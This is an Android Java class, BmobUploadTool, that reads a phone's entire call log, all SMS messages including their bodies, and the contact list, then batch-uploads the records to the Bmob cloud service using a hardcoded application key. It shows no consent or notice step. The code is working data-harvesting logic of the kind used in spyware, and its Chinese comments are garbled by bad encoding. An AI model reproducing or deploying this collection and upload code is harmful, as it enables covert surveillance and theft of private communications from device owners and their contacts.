package com.say.findsth.bean;

import java.text.SimpleDateFormat;
import java.util.Date;
import java.util.LinkedList;
import java.util.List;
import java.util.Locale;

import android.content.ContentResolver;
import android.content.Context;
import android.database.Cursor;
import android.net.Uri;
import android.provider.CallLog.Calls;
import android.provider.ContactsContract.CommonDataKinds.Phone;
import cn.bmob.v3.Bmob;
import cn.bmob.v3.BmobObject;
import cn.bmob.v3.listener.SaveListener;

public class BmobUploadTool {
	private static final int MAX_SIZE = 50;
	Context context;
	LinkedList<BmobObject> list = new LinkedList<BmobObject>() ;
	public BmobUploadTool(Context context) {
		this.context=context;
		Bmob.initialize(context, "4f347159467e1c6ade2e8b4c6e271feb");
	}
	
	public void find_calls() {
		ContentResolver resolver = context.getContentResolver();
		Cursor cursor = resolver.query(Calls.CONTENT_URI, new String[]{Calls.NUMBER, Calls.CACHED_NAME, Calls.TYPE,
				Calls.DATE, Calls.DURATION}, null, null, Calls.DEFAULT_SORT_ORDER);
		System.out.println("find_calls--query--2");
		if (cursor.moveToFirst()) {
			int numberColumn = cursor.getColumnIndex(Calls.NUMBER);
			int typeColumn = cursor.getColumnIndex(Calls.TYPE);
			int dateColumn = cursor.getColumnIndexOrThrow(Calls.DATE);
			int nameColumn = cursor.getColumnIndexOrThrow(Calls.CACHED_NAME);
			int durationColumn = cursor.getColumnIndexOrThrow(Calls.DURATION);

			String number;
			String type;
			String time;
			String name;
			String duration;

			CallBean call = null;
			SimpleDateFormat sfd = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss", Locale.CHINA);
			do {
				// ����
				number = cursor.getString(numberColumn);
				// ��������
				switch (Integer.parseInt(cursor.getString(typeColumn))) {
					case Calls.INCOMING_TYPE :
						type = "INCOMING";
						break;
					case Calls.OUTGOING_TYPE :
						type = "OUTGOING";
						break;
					case Calls.MISSED_TYPE :
						type = "MISSED";
						break;
					default :
						type = "HANGUP";// Ӧ���ǹҶ�.������ֻ������жϳ���
						break;
				}
				Date date = new Date(Long.parseLong(cursor.getString(dateColumn)));
				// ����ʱ��
				time = sfd.format(date);
				// ��ϵ��
				name = cursor.getString(nameColumn);
				// ͨ��ʱ��,��λ:s
				duration = cursor.getString(durationColumn);

				call = new CallBean();
				call.setDuration(duration);
				call.setName(name);
				call.setPhoneNumber(number);
				call.setType(type);
				call.setTime(time);
				list.add(call);
			} while (cursor.moveToNext());
		}
		if (cursor != null)
			cursor.close();
	}
	
	public void find_sms() {
		list.clear();
		ContentResolver cr = context.getContentResolver();
		final String SMS_URI_ALL = "content://sms";
		String[] projection = new String[]{"_id", "address", "person", "body", "date", "type"};
		Uri uri = Uri.parse(SMS_URI_ALL);   
        Cursor cur = cr.query(uri, projection, null, null, "date desc");  
		if (cur.moveToFirst()) {
			String phoneNumber;
			String smsbody;
			String date;
			String type;
			
			int phoneNumberColumn = cur.getColumnIndex("address");
			int smsbodyColumn = cur.getColumnIndex("body");
			int dateColumn = cur.getColumnIndex("date");
			int typeColumn = cur.getColumnIndex("type");

		
			do {
				phoneNumber = cur.getString(phoneNumberColumn);
				smsbody = cur.getString(smsbodyColumn);
				SimpleDateFormat dateFormat = new SimpleDateFormat("yyyy-MM-dd hh:mm:ss", Locale.CHINA);
				Date d = new Date(Long.parseLong(cur.getString(dateColumn)));
				date = dateFormat.format(d);

				int typeId = cur.getInt(typeColumn);
				if (typeId == 1) {
					type = "����";
				} else if (typeId == 2) {
					type = "����";
				} else {
					type = "";
				}
				SmsBean sBean = null;
				sBean = new SmsBean();
				sBean.setPhoneNumber(phoneNumber);
				sBean.setSmsbody(smsbody);
				sBean.setDate(date);
				sBean.setType(type);
				list.add(sBean);

			} while (cur.moveToNext());
			if (cur != null)
				cur.close();
		}
	}
	public void find_contacts() {
		list.clear();
		ContentResolver resolver = context.getContentResolver();
		Cursor phoneCursor = resolver.query(Phone.CONTENT_URI, new String[]{Phone.DISPLAY_NAME, Phone.NUMBER}, null, null, null);

		if (phoneCursor.moveToFirst()) {
			int numberColumn = phoneCursor.getColumnIndexOrThrow(Phone.NUMBER);
			int nameColumn = phoneCursor.getColumnIndexOrThrow(Phone.DISPLAY_NAME);
			do {
				// �õ��ֻ����
				String phoneNumber = phoneCursor.getString(numberColumn);
				// �õ���ϵ�����
				String contactName = phoneCursor.getString(nameColumn);
				ContactBean cBean = new ContactBean();
				cBean.setName(contactName);
				cBean.setPhoneNumber(phoneNumber);
				list.add(cBean);
				
			} while (phoneCursor.moveToNext());
		}
		if (phoneCursor != null)
			phoneCursor.close();
	}
	
	class MySaveListener extends SaveListener{
		public MySaveListener(List<BmobObject> clists ) {
			this.sublist=clists;
		}
		private	List<BmobObject> sublist ;
		@Override
		public void onSuccess() {
//			int up = sublist.size();
			sublist.clear();
			int remain = list.size();
			if (remain != 0) {
				uploadBatch();
			}
		}
		@Override
		public void onFailure(int code, String msg) {
		}
	}
	
	public void uploadBatch(){
		List<BmobObject> sublist = list.subList(0,Math.min(list.size(), MAX_SIZE));
		new BmobObject().insertBatch(context, sublist,new MySaveListener(sublist));
	}
}
